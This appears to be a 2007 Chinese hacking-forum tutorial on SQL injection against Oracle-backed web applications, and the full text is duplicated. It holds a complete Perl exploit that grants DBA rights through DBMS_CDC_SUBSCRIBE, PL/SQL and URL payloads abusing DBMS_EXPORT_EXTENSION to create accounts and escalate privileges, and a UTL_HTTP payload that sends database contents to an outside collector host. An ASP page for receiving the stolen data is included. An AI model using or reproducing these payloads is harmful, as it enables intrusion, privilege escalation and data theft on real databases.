ART OF WEB-SQL-INJECTION第2卷 ORACLE篇
更新時(shí)間:2007年10月08日 22:48:58 作者:
在國(guó)外對(duì)ORACLE的攻擊一直很收關(guān)注,只是國(guó)內(nèi)研究的人不太多,或者技術(shù)不夠~這里我就打響第一炮吧
文章作者:kj021320
信息來(lái)源:邪惡八進(jìn)制信息安全團(tuán)隊(duì)(www.eviloctal.com)
注意:本文章首發(fā)I.S.T.O技術(shù)團(tuán)隊(duì),后由原創(chuàng)作者友情提交到邪惡八進(jìn)制信息安全團(tuán)隊(duì)論壇。
author : kj021320
team: I.S.T.O
很多人都說(shuō)什么ASP PHP JSP注射 其實(shí)注射最直接是跟數(shù)據(jù)庫(kù)有關(guān)!然而那些腳本只是一種輔助
例如ASP/ASPX JSP 啥限制都沒(méi)!而PHP則會(huì)把' 過(guò)濾為\' 但是若然不是MYSQL POSTGRESQL SQLITE的話這個(gè)功能就廢了!
但是我覺(jué)得這些腳本語(yǔ)言都不狠~如果CFM的話 估計(jì)你就沒(méi)折了! 具體各數(shù)據(jù)庫(kù)相關(guān)信息請(qǐng)參看
ART OF WEB-SQL-INJECTION第1卷 感謝AMXSA以及I.C.E多我的支持
OK言歸正傳,在國(guó)外對(duì)ORACLE的攻擊一直很收關(guān)注,只是國(guó)內(nèi)研究的人不太多,或者技術(shù)不夠~這里我就打響第一炮吧!
SQLINJECTION 都是要看數(shù)據(jù)庫(kù)的SQL解析引擎的 ,ORACLE這個(gè)就不支持多語(yǔ)句執(zhí)行了!
大家要是用PLSQL那些工具可以用; 來(lái)執(zhí)行多個(gè)語(yǔ)句 !
那是因?yàn)楣ぞ呱厦鎺湍阕隽硕鄠€(gè)語(yǔ)句分別提交
ORACLE注射在國(guó)外提出了好些攻擊方式,但是能夠web sql injection利用的沒(méi)多少!
在早期ngs 和 ARGENISS 都相對(duì)提出了 FUNCTION/PROCEDURE 的注入方式!
也就是用戶自己定義的一些函數(shù)或者存儲(chǔ)過(guò)程會(huì)存儲(chǔ)SQL-INJECTION
我拿一個(gè)MSSQL的函數(shù)作為例子
create function ISTO_KJ021320(@sql varchar(100))
RETURNS int
begin
exec('SELECT * FROM KJ021320 WHERE NAME='''+ @sql +'''');
end
以上這樣的方式無(wú)疑@sql這個(gè)參數(shù)沒(méi)有過(guò)濾 存在SQL注入了!
同樣在ORACLE中這樣的方式特別出眾,首先從用戶定義的函數(shù)到系統(tǒng)函數(shù)
系統(tǒng)包里面的函數(shù)一般都是操作一些系統(tǒng)表!普通用戶是無(wú)辦法查取的
但是調(diào)用這些系統(tǒng)函數(shù)就可以獲取相應(yīng)的信息~
很容易理解ORACLE權(quán)限管理的機(jī)制
用戶--->調(diào)用函數(shù)(繼承函數(shù)創(chuàng)建者的權(quán)限)--->執(zhí)行操作
那么我們只需要做的是改函數(shù)里面的操作 進(jìn)行添加用戶,建DBA等...
milw0rm securityfocus 紅色數(shù)據(jù)庫(kù)安全 ...公布的方法都是很簡(jiǎn)單的說(shuō)給了應(yīng)用而沒(méi)有說(shuō)明道理~
那就由我代勞翻印講解一下吧~
例如以下的官方公布的是
DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION 這個(gè)包的這個(gè)函數(shù)存儲(chǔ)INJECTION
OK 在 milw0rm上面公布的 exploit 是一段PERL寫的代碼
use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;
sub usage {
print <<"USAGE";
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
Options:
-h <host> target server address
-s <sid> target sid name
-u <user> user
-p <passwd> password
-g|-r (g)rant dba to user | (r)evoke dba from user
[-P <port> Oracle port]
USAGE
exit 0
}
my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = undef;
if ($opt{P}) {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}
my $sqlcmd = "GRANT DBA TO $user";
print "[-] Wait...\n";
if ($opt{r}) {
print "[-] Revoking DBA from $user...\n";
$sqlcmd = "REVOKE DBA FROM $user";
$dbh->do( $sqlcmd );
print "[-] Done!\n";
$dbh->disconnect;
exit;
}
print "[-] Creating evil function...\n";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;
RETURN(0);
END;
} );
print "[-] Go ...(don't worry about errors)!\n";
my $sth = $dbh->prepare(qq{
BEGIN
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||$user.own||''');
END;
});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;
-------
以上 的方法其實(shí)就是 首先自己要建立一個(gè)函數(shù)叫 OWN 里面的操作就是
GRANT DBA TO $user 把DBA權(quán)限授予某個(gè)用戶!
然后到有存在注入的存儲(chǔ)過(guò)程中
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION( 放入OWN函數(shù) );
因?yàn)?
ACTIVATE_SUBSCRIPTION方法存在注射
所以會(huì)直接執(zhí)行 own函數(shù) 去添加一個(gè)權(quán)限
這里演示的是 需要先建立一個(gè)函數(shù)的!但是我們WEB SQL INJ的時(shí)候不能寫多個(gè)SQL來(lái)建個(gè)函數(shù)??!
有什么方法?
ACTIVATE_SUBSCRIPTION存在注射 當(dāng)然也可以把后面的語(yǔ)句屏蔽了!跟我們WEB SQL INJ差不多
具體怎么知道應(yīng)該怎樣檢測(cè)挖掘ORACLE的函數(shù)注入,下次我會(huì)寫篇<<檢測(cè)函數(shù)注入in ORACLE>>的文章
以上原理介紹完了 開(kāi)始實(shí)戰(zhàn)!
記得 很多文章說(shuō)要是SQL語(yǔ)句這樣子寫
sqlstr="begin select * from kj021320 where name=$name;end;";
可以執(zhí)行多語(yǔ)句!其實(shí)這個(gè)是廢話!現(xiàn)在寫代碼的哪個(gè)會(huì)這樣~一般都直接操作SQL了
sqlstr="select * from kj021320 where name=$name";
所以在,ORACLE WEB中SQL注射只能使用函數(shù),存儲(chǔ)過(guò)程不能使用!具體為什么自己去看看文檔
在web 存在一個(gè)注射點(diǎn)
http://127.0.0.1:8080/VOA/test.jsp?id=282 數(shù)字型的
那么我們首先來(lái)確認(rèn)這個(gè)用戶的權(quán)限
http://127.0.0.1:8080/VOA/test.jsp?id=282 and exists(select * from dba_tables)
在這里一個(gè)小細(xì)節(jié)
講講ORACLE的系統(tǒng)表部分
DBA開(kāi)頭的 只有DBA權(quán)限的用戶才能訪問(wèn)例如 DBA_USERS DBA_TABLES
而一般用戶都能查詢
user_tables 跟 all_tables這兩個(gè)系統(tǒng)表 前者是本用戶自己的表! 后者是自己的表以及人家授權(quán)給你查詢的表!
一般注射軟件只需要查詢這兩個(gè)表就可以獲取用戶的表結(jié)構(gòu)了
回到上面的注射一般都會(huì)返回false的!
沒(méi)關(guān)系其實(shí)有函數(shù)注射 權(quán)限對(duì)我們來(lái)說(shuō)不重要~
那現(xiàn)在怎么確認(rèn)ORACLE主機(jī)的位置呢? 也就是說(shuō)他的IP跟WEB是不是同一個(gè)機(jī)器
那么我們采用
UTL_HTTP 這個(gè)包里面的 request函數(shù)
例子:
SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1
他會(huì)把數(shù)據(jù)當(dāng)作URL請(qǐng)求發(fā)送出去!具體大型數(shù)據(jù)庫(kù)都有遠(yuǎn)程數(shù)據(jù)調(diào)用的方式 可以參看
ART OF WEB-SQL-INJECTION第1卷
那么我們?cè)趺礃?gòu)造這個(gè)注射呢?很簡(jiǎn)單!
http://127.0.0.1:8080/VOA/test.jsp?id=282 and '1'in(SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES)
這樣子!
然而我們得構(gòu)造一個(gè)頁(yè)面接收請(qǐng)求的參數(shù)!ASP簡(jiǎn)單實(shí)現(xiàn)
<%
if request("data")="" then
response.Write Application("oracle_data")
else
dim dataValue
dataValue=request.ServerVariables("REMOTE_HOST") & " data : " & request("data") & "<br>"
if request("clear")<>"" then
Application("oracle_data")=dataValue
else
Application("oracle_data")=Application("oracle_data") & dataValue
end if
end if
%>
除非他數(shù)據(jù)庫(kù)是內(nèi)網(wǎng) 不然一般我們都可以獲取他的IP地址以及數(shù)據(jù)~ 比猜表還快!
接下來(lái)我們可以獲取他的IP 然后掃他的ORA端口 SID可以通過(guò)SELECT查詢獲取 或者用tnscmd檢測(cè)!
節(jié)下來(lái)我就直接一點(diǎn)了!
拿出 06年國(guó)外公布的一個(gè)ODAY
GET_DOMAIN_INDEX_TABLES 但是國(guó)外好象沒(méi)給出更多的利用信息
就是這樣而已,看當(dāng)時(shí)的說(shuō)明
CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/
CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
COMMIT;
RETURN(1);
END;
END;
/
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER';
TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER';
VERSION := '10.2.0.2.0'; GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
/
具體注射點(diǎn)在第3個(gè)參數(shù)
我現(xiàn)在不采用函數(shù)形式
直接在里面插入SQL語(yǔ)句
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)
這樣就可以建立一個(gè)用戶了!
我們構(gòu)造SQL
http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
這樣提交就會(huì)建立一個(gè)KJ021320用戶 而密碼也是KJ021320
可以了建立了用戶也不行~~先給這個(gè)用戶添加連接的權(quán)限
http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
再用此方法添加一個(gè)DBA權(quán)限! 既然你是ORACLE的DBA 那采用什么方法去寫本地文件拿shell
方法多的是!別說(shuō)備份了!PRO*C SQLJ都可以!接下來(lái)留給你們吧!
視頻演示http://www.isto.cn/vedio/artwebinj-oracle.rar
PS:之前發(fā)了幾篇MSSQL的利用都給superhei說(shuō)有人發(fā)表過(guò)了!郁悶得很!看來(lái)偶不只是孤陋寡聞這么簡(jiǎn)單!發(fā)表時(shí)間還是個(gè)重點(diǎn)問(wèn)題!呵呵!現(xiàn)在這篇估計(jì)國(guó)內(nèi)暫時(shí)還沒(méi)有人有發(fā)過(guò)了吧?可以叫自己一聲 中國(guó)web sql injection in oralce 之父么~哈哈!裝A完畢!-_-
信息來(lái)源:邪惡八進(jìn)制信息安全團(tuán)隊(duì)(www.eviloctal.com)
注意:本文章首發(fā)I.S.T.O技術(shù)團(tuán)隊(duì),后由原創(chuàng)作者友情提交到邪惡八進(jìn)制信息安全團(tuán)隊(duì)論壇。
author : kj021320
team: I.S.T.O
很多人都說(shuō)什么ASP PHP JSP注射 其實(shí)注射最直接是跟數(shù)據(jù)庫(kù)有關(guān)!然而那些腳本只是一種輔助
例如ASP/ASPX JSP 啥限制都沒(méi)!而PHP則會(huì)把' 過(guò)濾為\' 但是若然不是MYSQL POSTGRESQL SQLITE的話這個(gè)功能就廢了!
但是我覺(jué)得這些腳本語(yǔ)言都不狠~如果CFM的話 估計(jì)你就沒(méi)折了! 具體各數(shù)據(jù)庫(kù)相關(guān)信息請(qǐng)參看
ART OF WEB-SQL-INJECTION第1卷 感謝AMXSA以及I.C.E多我的支持
OK言歸正傳,在國(guó)外對(duì)ORACLE的攻擊一直很收關(guān)注,只是國(guó)內(nèi)研究的人不太多,或者技術(shù)不夠~這里我就打響第一炮吧!
SQLINJECTION 都是要看數(shù)據(jù)庫(kù)的SQL解析引擎的 ,ORACLE這個(gè)就不支持多語(yǔ)句執(zhí)行了!
大家要是用PLSQL那些工具可以用; 來(lái)執(zhí)行多個(gè)語(yǔ)句 !
那是因?yàn)楣ぞ呱厦鎺湍阕隽硕鄠€(gè)語(yǔ)句分別提交
ORACLE注射在國(guó)外提出了好些攻擊方式,但是能夠web sql injection利用的沒(méi)多少!
在早期ngs 和 ARGENISS 都相對(duì)提出了 FUNCTION/PROCEDURE 的注入方式!
也就是用戶自己定義的一些函數(shù)或者存儲(chǔ)過(guò)程會(huì)存儲(chǔ)SQL-INJECTION
我拿一個(gè)MSSQL的函數(shù)作為例子
create function ISTO_KJ021320(@sql varchar(100))
RETURNS int
begin
exec('SELECT * FROM KJ021320 WHERE NAME='''+ @sql +'''');
end
以上這樣的方式無(wú)疑@sql這個(gè)參數(shù)沒(méi)有過(guò)濾 存在SQL注入了!
同樣在ORACLE中這樣的方式特別出眾,首先從用戶定義的函數(shù)到系統(tǒng)函數(shù)
系統(tǒng)包里面的函數(shù)一般都是操作一些系統(tǒng)表!普通用戶是無(wú)辦法查取的
但是調(diào)用這些系統(tǒng)函數(shù)就可以獲取相應(yīng)的信息~
很容易理解ORACLE權(quán)限管理的機(jī)制
用戶--->調(diào)用函數(shù)(繼承函數(shù)創(chuàng)建者的權(quán)限)--->執(zhí)行操作
那么我們只需要做的是改函數(shù)里面的操作 進(jìn)行添加用戶,建DBA等...
milw0rm securityfocus 紅色數(shù)據(jù)庫(kù)安全 ...公布的方法都是很簡(jiǎn)單的說(shuō)給了應(yīng)用而沒(méi)有說(shuō)明道理~
那就由我代勞翻印講解一下吧~
例如以下的官方公布的是
DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION 這個(gè)包的這個(gè)函數(shù)存儲(chǔ)INJECTION
OK 在 milw0rm上面公布的 exploit 是一段PERL寫的代碼
use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;
sub usage {
print <<"USAGE";
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
Options:
-h <host> target server address
-s <sid> target sid name
-u <user> user
-p <passwd> password
-g|-r (g)rant dba to user | (r)evoke dba from user
[-P <port> Oracle port]
USAGE
exit 0
}
my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = undef;
if ($opt{P}) {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}
my $sqlcmd = "GRANT DBA TO $user";
print "[-] Wait...\n";
if ($opt{r}) {
print "[-] Revoking DBA from $user...\n";
$sqlcmd = "REVOKE DBA FROM $user";
$dbh->do( $sqlcmd );
print "[-] Done!\n";
$dbh->disconnect;
exit;
}
print "[-] Creating evil function...\n";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;
RETURN(0);
END;
} );
print "[-] Go ...(don't worry about errors)!\n";
my $sth = $dbh->prepare(qq{
BEGIN
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||$user.own||''');
END;
});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;
-------
以上 的方法其實(shí)就是 首先自己要建立一個(gè)函數(shù)叫 OWN 里面的操作就是
GRANT DBA TO $user 把DBA權(quán)限授予某個(gè)用戶!
然后到有存在注入的存儲(chǔ)過(guò)程中
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION( 放入OWN函數(shù) );
因?yàn)?
ACTIVATE_SUBSCRIPTION方法存在注射
所以會(huì)直接執(zhí)行 own函數(shù) 去添加一個(gè)權(quán)限
這里演示的是 需要先建立一個(gè)函數(shù)的!但是我們WEB SQL INJ的時(shí)候不能寫多個(gè)SQL來(lái)建個(gè)函數(shù)??!
有什么方法?
ACTIVATE_SUBSCRIPTION存在注射 當(dāng)然也可以把后面的語(yǔ)句屏蔽了!跟我們WEB SQL INJ差不多
具體怎么知道應(yīng)該怎樣檢測(cè)挖掘ORACLE的函數(shù)注入,下次我會(huì)寫篇<<檢測(cè)函數(shù)注入in ORACLE>>的文章
以上原理介紹完了 開(kāi)始實(shí)戰(zhàn)!
記得 很多文章說(shuō)要是SQL語(yǔ)句這樣子寫
sqlstr="begin select * from kj021320 where name=$name;end;";
可以執(zhí)行多語(yǔ)句!其實(shí)這個(gè)是廢話!現(xiàn)在寫代碼的哪個(gè)會(huì)這樣~一般都直接操作SQL了
sqlstr="select * from kj021320 where name=$name";
所以在,ORACLE WEB中SQL注射只能使用函數(shù),存儲(chǔ)過(guò)程不能使用!具體為什么自己去看看文檔
在web 存在一個(gè)注射點(diǎn)
http://127.0.0.1:8080/VOA/test.jsp?id=282 數(shù)字型的
那么我們首先來(lái)確認(rèn)這個(gè)用戶的權(quán)限
http://127.0.0.1:8080/VOA/test.jsp?id=282 and exists(select * from dba_tables)
在這里一個(gè)小細(xì)節(jié)
講講ORACLE的系統(tǒng)表部分
DBA開(kāi)頭的 只有DBA權(quán)限的用戶才能訪問(wèn)例如 DBA_USERS DBA_TABLES
而一般用戶都能查詢
user_tables 跟 all_tables這兩個(gè)系統(tǒng)表 前者是本用戶自己的表! 后者是自己的表以及人家授權(quán)給你查詢的表!
一般注射軟件只需要查詢這兩個(gè)表就可以獲取用戶的表結(jié)構(gòu)了
回到上面的注射一般都會(huì)返回false的!
沒(méi)關(guān)系其實(shí)有函數(shù)注射 權(quán)限對(duì)我們來(lái)說(shuō)不重要~
那現(xiàn)在怎么確認(rèn)ORACLE主機(jī)的位置呢? 也就是說(shuō)他的IP跟WEB是不是同一個(gè)機(jī)器
那么我們采用
UTL_HTTP 這個(gè)包里面的 request函數(shù)
例子:
SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1
他會(huì)把數(shù)據(jù)當(dāng)作URL請(qǐng)求發(fā)送出去!具體大型數(shù)據(jù)庫(kù)都有遠(yuǎn)程數(shù)據(jù)調(diào)用的方式 可以參看
ART OF WEB-SQL-INJECTION第1卷
那么我們?cè)趺礃?gòu)造這個(gè)注射呢?很簡(jiǎn)單!
http://127.0.0.1:8080/VOA/test.jsp?id=282 and '1'in(SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES)
這樣子!
然而我們得構(gòu)造一個(gè)頁(yè)面接收請(qǐng)求的參數(shù)!ASP簡(jiǎn)單實(shí)現(xiàn)
<%
if request("data")="" then
response.Write Application("oracle_data")
else
dim dataValue
dataValue=request.ServerVariables("REMOTE_HOST") & " data : " & request("data") & "<br>"
if request("clear")<>"" then
Application("oracle_data")=dataValue
else
Application("oracle_data")=Application("oracle_data") & dataValue
end if
end if
%>
除非他數(shù)據(jù)庫(kù)是內(nèi)網(wǎng) 不然一般我們都可以獲取他的IP地址以及數(shù)據(jù)~ 比猜表還快!
接下來(lái)我們可以獲取他的IP 然后掃他的ORA端口 SID可以通過(guò)SELECT查詢獲取 或者用tnscmd檢測(cè)!
節(jié)下來(lái)我就直接一點(diǎn)了!
拿出 06年國(guó)外公布的一個(gè)ODAY
GET_DOMAIN_INDEX_TABLES 但是國(guó)外好象沒(méi)給出更多的利用信息
就是這樣而已,看當(dāng)時(shí)的說(shuō)明
CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/
CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
COMMIT;
RETURN(1);
END;
END;
/
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER';
TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER';
VERSION := '10.2.0.2.0'; GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
/
具體注射點(diǎn)在第3個(gè)參數(shù)
我現(xiàn)在不采用函數(shù)形式
直接在里面插入SQL語(yǔ)句
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)
這樣就可以建立一個(gè)用戶了!
我們構(gòu)造SQL
http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
這樣提交就會(huì)建立一個(gè)KJ021320用戶 而密碼也是KJ021320
可以了建立了用戶也不行~~先給這個(gè)用戶添加連接的權(quán)限
http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
再用此方法添加一個(gè)DBA權(quán)限! 既然你是ORACLE的DBA 那采用什么方法去寫本地文件拿shell
方法多的是!別說(shuō)備份了!PRO*C SQLJ都可以!接下來(lái)留給你們吧!
視頻演示http://www.isto.cn/vedio/artwebinj-oracle.rar
PS:之前發(fā)了幾篇MSSQL的利用都給superhei說(shuō)有人發(fā)表過(guò)了!郁悶得很!看來(lái)偶不只是孤陋寡聞這么簡(jiǎn)單!發(fā)表時(shí)間還是個(gè)重點(diǎn)問(wèn)題!呵呵!現(xiàn)在這篇估計(jì)國(guó)內(nèi)暫時(shí)還沒(méi)有人有發(fā)過(guò)了吧?可以叫自己一聲 中國(guó)web sql injection in oralce 之父么~哈哈!裝A完畢!-_-
相關(guān)文章
巧用端口映射 不通過(guò)網(wǎng)關(guān)開(kāi)放任意內(nèi)網(wǎng)(LCX.exe)
巧用端口映射 不通過(guò)網(wǎng)關(guān)開(kāi)放任意內(nèi)網(wǎng)(LCX.exe)...2007-02-02win2003下創(chuàng)建永遠(yuǎn)的隱藏帳戶的圖文教程
win2003下創(chuàng)建永遠(yuǎn)的隱藏帳戶的圖文教程...2007-11-11創(chuàng)建c:\con.txt嗎?windows文件系統(tǒng)漏洞
2008-01-01